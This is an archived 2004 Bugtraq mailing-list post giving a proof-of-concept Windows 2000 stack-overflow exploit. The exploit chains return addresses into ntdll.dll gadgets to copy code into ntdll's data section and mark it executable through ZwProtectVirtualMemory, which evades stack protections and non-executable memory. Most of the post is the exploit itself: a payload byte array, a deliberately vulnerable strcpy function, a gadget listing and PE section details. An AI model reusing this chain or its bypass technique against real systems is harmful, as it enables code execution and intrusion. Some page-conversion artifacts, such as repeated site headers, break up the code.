

avoiding stackguard

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-10/0207.html>

vallez_at_gmail.com

Date: 10/18/04

Date: 18 Oct 2004 19:16:24 -0000

To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is)

hi,

im posting here a manner for avoiding stackguard. Shellcode without zeros.

```
/*  
/*Shellcode avoiding stack protections sample-----Vallez/29a*/  
*/
```

```
/*
```

All we have listened about stack protections. Security products are protecting stacks of code executed there. New hardware too, that will not let you to execute code in a not executable memory (amd64 for example).

Doing shellcodes avoiding this fact is not very complex, as i will show with this small sample.

The idea is to use pieces of code of dlls for example. In this code im using pieces of code of ntdll for doing my purposes. How? Easy, with the stack overflow we will leave in the stack ret addresses for conduction our thread to code in ntdll.dll. Exactly we are using these codes in ntdll:

```
.78462FDF: AB stosd  
.78462FE0: 5F pop edi  
.78462FE1: C20400 retn 00004
```

```
.784635EC: 8BC6 mov eax,esi  
.784635EE: 5F pop edi  
.784635EF: 5E pop esi  
.784635F0: C3 retn
```

SecurityFocus Bugtraq: avoiding stackguard

```
.7849DA92: 0FC8 bswap eax  
.7849DA94: C3 retn
```

```
.784680DA: CD2E int 02E  
.784680DC: C3 retn
```

```
.784AFAAD: pop eax  
         retn
```

```
.7846BBE8: pop ecx  
         retn
```

```
.784633AF: sub eax,ecx  
         sar eax,1  
         dec eax  
         retn
```

```
.78466b22: sub eax,ecx  
         pop edi  
         pop esi  
         pop ebx  
         retn c
```

```
.78499442: pop edx  
         retn
```

```
*/
```

```
/*
```

This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with visual studio 6.0 in debug and default options for the project. (really,only open the .c with visual studio and F7,and yes,yes...

```
*/
```

```
#include <stdio.h>
```

```
#define DEBUGZ
```

```
avoiding stackguard
```

SecurityFocus Bugtraq: avoiding stackguard

```
#ifdef DEBUGZ
```

```
/*
```

```
for debugging we have activated DEBUGZ for giving the shellcode directly to  
func(), but this shellcode could go perfectly as argv[1]
```

```
*/
```

```
char exploit[]=
```

```
{
```

```
'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a',
```

```
'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a',
```

```
'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a',
```

```
'a','a','a','a','a','a','a','a',
```

```
0xad,0xfa,0x4a,0x78,//here we are overwriting ret eip func() goto pop eax/retn
```

```
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll eax = 0x90909090
```

```
0xe0,0x2f,0x46,0x78,//goto pop edi/retn4
```

```
0x21,0x21,0x4b,0x78,//edi = 0x78462121
```

```
0xdf,0x2f,0x46,0x78,//goto stosd/pop edi/retn 4
```

```
'a','a','a','a', //trash for ret4
```

```
0x21+4,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
```

```
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
```

```
'a','a','a','a',
```

```
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll
```

```
0xdf,0x2f,0x46,0x78,//goto stosd/pop edi/retn 4
```

```
0x21+8,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
```

```
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
```

```
'a','a','a','a',
```

```
0x90,0x90,0x90,0xcc//this nops are part of the code that we will dump to .data of ntdll
```

```
0xdf,0x2f,0x46,0x78,//goto stosd/pop edi/retn 4
```

```
//start with parameters
```

```
//now we should give execution access to .data with
```

```
//ZwVirtualProtectMemory(0xffffffff,0x784b2121,0x000000ff,0x00000040,0x784b2121+0x70);
```

```
0x21+0x30,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
```

```
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
```

```
'a','a','a','a',
```

```
0xff,0xff,0xff,0xff//parameters for ZwVirtualProtectMemory. This process, 0xffffffff.
```

```
0xdf,0x2f,0x46,0x78,//goto stosd/pop edi/retn 4
```

```
0x21+0x34,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
```

```
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
```

```
'a','a','a','a',
```

```
0x21+0x58,0x21,0x4b,0x78//parameters for ZwVirtualProtectMemory. addr of variable keeping addr of mem
```

```
0xdf,0x2f,0x46,0x78,//goto stosd/pop edi/retn 4
```

```
0x21+0x58,0x21,0x4b,0x78//we must write here the addr of memory that we want to do executable
```

```
0xad,0xfa,0x4a,0x78, //goto pop eax = 0x784b2121
```

```
'a','a','a','a', //trash for ret4
```

```
0x21,0x21,0x4b,0x78, //for popping to eax
```

```
0xdf,0x2f,0x46,0x78,//goto stosd/pop edi/retn 4
```

```
'a','a','a','a', //trash for edi
```

```
//the next parameter has zeros, so we cant have it in shellcode.We will get in eax=0x00000040
```

```
avoiding stackguard
```

SecurityFocus Bugtraq: avoiding stackguard

```
0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
'a','a','a','a', //trash for retn 4
0xff,0xff,0xff,0xff,
0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xfffffbf
0xff,0xff,0xff,0xbf,
0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
0x21+0x3c,0x21,0x4b,0x78, //other addr in .data
'a','a','a','a',
'a','a','a','a',
0x92,0xda,0x49,0x78, //goto bswap eax,retn
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0xdf,0x2f,0x46,0x78, //goto stosd/pop edi/retn 4
//eax=0x00000040 edi=next addr we will write 0x40,flags
0x21+0x54,0x21,0x4b,0x78, //other addr in .data
0xdf,0x2f,0x46,0x78, //goto stosd/pop edi/retn 4
'a','a','a','a',
0x21+0x40,0x21,0x4b,0x78, //next part of ntdll .data where we will write params
0xad,0xfa,0x4a,0x78, //goto pop eax/retn
'a','a','a','a',
0x21+0x50,0x21,0x4b,0x78, //old protect returned as IO param in ZwVirtualProtectMemory
0xdf,0x2f,0x46,0x78, //goto stosd/pop edi/retn 4
0x21+0x38,0x21,0x4b,0x78, //other part to write, in this case the addr of the variable storing size for api
0xad,0xfa,0x4a,0x78, //goto pop eax/retn
'a','a','a','a',
0x21+0x54,0x21,0x4b,0x78, //addr where size is stored, popped with pop eax
0xdf,0x2f,0x46,0x78, //goto stosd/pop edi/retn 4
'a','a','a','a', //trash for popping to edi

//now we must call int 2e with eax=0x77 and edx=0x784b2151

0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
'a','a','a','a', //trash
0xff,0xff,0xff,0xff,
0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xfffff88
0xff,0xff,0xff,0x88,
0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0x42,0x94,0x49,0x78, //goto pop edx,retn
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0x21+0x30,0x21,0x4b,0x78, //pop to edx address of params for ZwVirtualProtectMemory
0x92,0xda,0x49,0x78, //goto bswap eax,retn
//eax=0x77(service id) edx->params
0xda,0x80,0x46,0x78, //goto int 2e,retn

0x21,0x21,0x4b,0x78, //we have copied all the code that we need, so we jump that code in .data of ntdll.
```

SecurityFocus Bugtraq: avoiding stackguard

```
};
char * pexploit[2] = {exploit,exploit};
#endif

void func(int argc,char ** argv)
{
    char buffer[30];

    if(argc>1)
    {
        strcpy(buffer,argv[1]);
    }
}

void main(int argc,char ** argv)
{

#ifdef DEBUGZ
    func(argc,argv);
#else
    func(argc,pexploit);
#endif
}

/*
```

This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
Its only a Proof of concept about how shellcodes could avoid stack protections.

This shellcode is not executed in the stack, however it has in the stack the useful values for conducting the thread to ntdll code and forcing this code to write executable code to ntdll .data section. If today not, in the future all not executable memory will be protected against execution, so we call ZwProtectVirtualMemory for setting .data zone where we have writed as executable (for this purpose we will dump parameters of the api to .data,in other part, and then pointing edx to that parameters and calling int 2e with eax=0x77,the service id.

```
*/
```

```
/*
```

Parts of ntdll:

```
.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004
```

```
.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
```

SecurityFocus Bugtraq: avoiding stackguard

.784635EF: 5E pop esi
.784635F0: C3 retn

.7849DA92: 0FC8 bswap eax
.7849DA94: C3 retn

.784680DA: CD2E int 02E
.784680DC: C3 retn

.784AFAAD: pop eax
retn

.7846BBE8: pop ecx
retn

.784633AF: sub eax,ecx
sar eax,1
dec eax
retn

.78466b22: sub eax,ecx
pop edi
pop esi
pop ebx
retn c

.78499442: pop edx
retn

.data(ntdll.dll) 784b0000 ---- For copying the code there.

Number	Name	VirtSize	RVA	PhysSize	Offset	Flag-
1	.text	00045CAB	00001000	00045E00	00000400	60000020
2	ECODE	00004371	00047000	00004400	00046200	60000020
3	PAGE	00003FEB	0004C000	00004000	0004A600	60000020

SecurityFocus Bugtraq: avoiding stackguard

```
4 .data 00002D84 00050000 00002200 0004E600 C0000040
5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
6 .reloc 00002010 00080000 00002200 0007CC00 42000040
```

Info of my ntdll:

Version: 5.0.2195.6899

Count of sections 6 | Machine intel386
Symbol table 00000000[00000000] | Wed Mar 24 03:17:14 2004
Size of optional header 00E0 | Magic optional header 010B
Linker version 5.12 | OS version 5.00
Image version 5.00 | Subsystem version 4.00
Entry point 00000000 | Size of code 0004E200
Size of init data 00030800 | Size of uninit data 00000000
Size of image 00083000 | Size of header 00000400
Base of code 00001000 | Base of data 0004E000
Image base 78460000 | Subsystem Windows char
Section alignment 00001000 | File alignment 00000200
Stack 00040000/00001000 | Heap 00100000/00001000
Checksum 00082A23 | Number of directories 16

*/